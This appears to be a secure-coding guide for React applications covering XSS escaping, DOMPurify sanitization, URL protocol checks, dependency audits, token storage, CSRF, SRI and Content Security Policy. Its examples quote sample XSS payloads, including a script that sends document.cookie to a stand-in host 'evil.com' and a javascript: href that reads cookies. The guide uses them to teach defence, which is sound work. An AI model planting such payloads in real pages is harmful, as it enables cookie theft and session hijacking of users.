Security Considerations
React applications run in browsers — an inherently adversarial environment where user input, third-party content, and external data must all be treated as untrusted. React handles the most common attack vector (XSS) for you by default, but a handful of patterns can accidentally bypass those protections. This page covers what to know and what to do.
1. XSS: React's Default Protection
Cross-Site Scripting (XSS) is the most common web vulnerability. An attacker injects malicious JavaScript into your page, which then executes in your users' browsers and steals session tokens, redirects them, or performs actions on their behalf. React escapes all values rendered as JSX by default. No matter what a user types into your form, React will render it as text, not executable HTML:
// User types: <img src=x onerror="alert('XSS')">
// React renders this as literal text — the script never executes
function Comment({ text }: { text: string }) {
return <p>{text}</p> // ← safe: React escapes the string
}This protection is automatic and applies to all JSX interpolation. You do not need to sanitize strings before rendering them via JSX expressions.
2. dangerouslySetInnerHTML — The XSS Backdoor
dangerouslySetInnerHTML bypasses React's escaping and injects raw HTML directly into the DOM. If you inject user-supplied content this way without sanitizing it first, you open a direct XSS vulnerability:
// ✗ CRITICAL VULNERABILITY — never inject unsanitized user content
function BlogPost({ content }: { content: string }) {
return <div dangerouslySetInnerHTML={{ __html: content }} />
}
// If content = '<script>fetch("evil.com?c="+document.cookie)</script>'
// → the script executes in the user's browserThe correct pattern is to sanitize the HTML with DOMPurify before injecting it. DOMPurify removes all executable constructs while preserving safe formatting tags like <b>, <em>, and <a>:
import DOMPurify from 'dompurify'
interface RichTextProps {
html: string
}
function RichText({ html }: RichTextProps) {
// Sanitize before injecting — removes scripts, event handlers, dangerous URLs
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'li'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
})
return (
<div
className="rich-text"
dangerouslySetInnerHTML={{ __html: clean }}
/>
)
}
// Safe usage — DOMPurify strips any injected script tags
<RichText html={userSuppliedContent} />3. URL Injection — javascript: Hrefs
If you render a URL from user input or a database in an href, an attacker can use the javascript: protocol to execute code when the link is clicked:
// ✗ Vulnerable — if url = 'javascript:alert(document.cookie)'
function ExternalLink({ url, label }: { url: string; label: string }) {
return <a href={url}>{label}</a> // clicking executes the script!
}
// ✓ Fix — validate that the URL uses a safe protocol
function isSafeUrl(url: string): boolean {
try {
const parsed = new URL(url)
return parsed.protocol === 'https:' || parsed.protocol === 'http:'
} catch {
return false
}
}
function ExternalLink({ url, label }: { url: string; label: string }) {
if (!isSafeUrl(url)) return <span>{label}</span> // degrade gracefully
return (
<a href={url} rel="noopener noreferrer" target="_blank">
{label}
</a>
)
}4. Dependency Security
Your React app is only as secure as its node_modules. Supply-chain attacks — where a malicious package is published with a similar name or a legitimate package is compromised — are increasingly common.
# Check for known vulnerabilities in your dependencies npm audit # Fix automatically where safe (minor/patch) npm audit fix # See the full report including dev dependencies npm audit --all
Run
npm auditin CI to block deployments with high-severity vulnerabilitiesKeep dependencies updated — use Dependabot or Renovate to automate PRs
Audit packages before adding them — check download count, maintenance status, and GitHub stars
Never
npm installpackages suggested in chat, Stack Overflow comments, or random blog posts without verifying them first
5. Sensitive Data in Client State
React state, localStorage, and sessionStorage are all accessible to any JavaScript running on your page — including injected third-party scripts. Never store authentication tokens, private keys, or personally identifiable information in React state or browser storage:
// ✗ Never store tokens in state — accessible via React DevTools or XSS
const [authToken, setAuthToken] = useState(response.token)
// ✗ Never store tokens in localStorage — readable by any JS on the page
localStorage.setItem('token', response.token)
// ✓ Use httpOnly cookies — JavaScript cannot read them at all
// The server sets the cookie with Set-Cookie: token=...; HttpOnly; Secure; SameSite=Strict
// Your fetch calls include credentials: 'include' to send the cookie automatically
await fetch('/api/profile', { credentials: 'include' })6. CSRF Protection
Cross-Site Request Forgery tricks a user's browser into making authenticated requests to your API from a malicious page. Modern token-based auth using JWTs in Authorization headers is naturally CSRF-resistant because cross-origin requests cannot set custom headers. If you use cookie-based auth, ensure your API validates a CSRF token and your cookies have SameSite=Strict or SameSite=Lax.
7. Third-Party Scripts
Every <script> tag you load from a CDN or external domain is fully trusted JavaScript. A compromised analytics script, chat widget, or A/B testing tool can exfiltrate all user data on your page. Minimize third-party scripts and load them with subresource integrity (SRI) checks:
<!-- SRI hash ensures the file has not been tampered with --> <script src="https://cdn.example.com/lib.js" integrity="sha384-XXXXXX" crossorigin="anonymous" ></script>
8. Content Security Policy
A Content Security Policy (CSP) is an HTTP header that tells browsers which sources of scripts, styles, and images are trusted. Even if an attacker manages to inject a <script> tag, a strict CSP prevents it from executing:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none';
Set CSP headers on the server — do not rely on meta tags alone
Start with
Content-Security-Policy-Report-Onlyto audit violations without breaking the siteAvoid
unsafe-inlinefor scripts — use nonces or hashes insteadUse
frame-ancestors: noneto prevent clickjacking
Quick Security Checklist
JSX interpolation
{value}— safe by defaultdangerouslySetInnerHTML— sanitize with DOMPurify firstURL props from user data — validate protocol is http/https
Auth tokens — httpOnly cookies, never localStorage or state
Dependencies —
npm auditin CI, automated updatesExternal links —
rel="noopener noreferrer"on target="_blank"Third-party scripts — minimize, use SRI hashes
HTTP headers — set CSP, X-Frame-Options, X-Content-Type-Options